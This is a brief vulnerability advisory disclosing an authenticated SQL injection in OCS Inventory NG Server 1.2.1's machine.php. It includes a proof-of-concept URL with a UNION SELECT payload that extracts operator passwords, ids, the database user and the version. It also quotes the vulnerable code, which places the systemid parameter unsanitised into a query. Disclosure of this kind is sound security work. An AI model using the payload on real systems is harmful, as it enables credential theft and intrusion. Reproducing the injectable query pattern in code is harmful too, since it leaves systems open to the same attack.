Sql injection in OCS Inventory NG Server 1.2.1

[gmcbr0 gmcbr0 <gmcbr0@xxxxxxxxx>]

OCS Inventory NG Server 1.2.1

Details:

The Open Computer and Software (OCS) Inventory Next Generation (NG)
provides relevant inventory information about system configurations and
software on the network.

 Download : http://www.ocsinventory-ng.org/index.php?page=1-02-1
 Found by : Guilherme Marinheiro                                
 Contact : gmcbr0@xxxxxxxxx                                     
 Prequisite: Authenticated user                         
 Remote exploitable:Yes (Authentication is needed)              

PoC :
http://localhost/ocsreports/machine.php?systemid=1)%20union%20select%201,2,user(),3,5,6,7,8,9,10,11,12,passwd,14,15,16,17,18,id,20,21,22,23,24,25,26,27,27,version()%20from%20operators%20--

Vulnerable Code:

script: machine.php

77 $queryMachine    = "SELECT * FROM hardware WHERE (ID=$systemid)";
78 $result   = mysql_query( $queryMachine, $_SESSION["readServer"] )
or mysql_error($_SESSION["readServer"]);
79 $item     = mysql_fetch_object($result);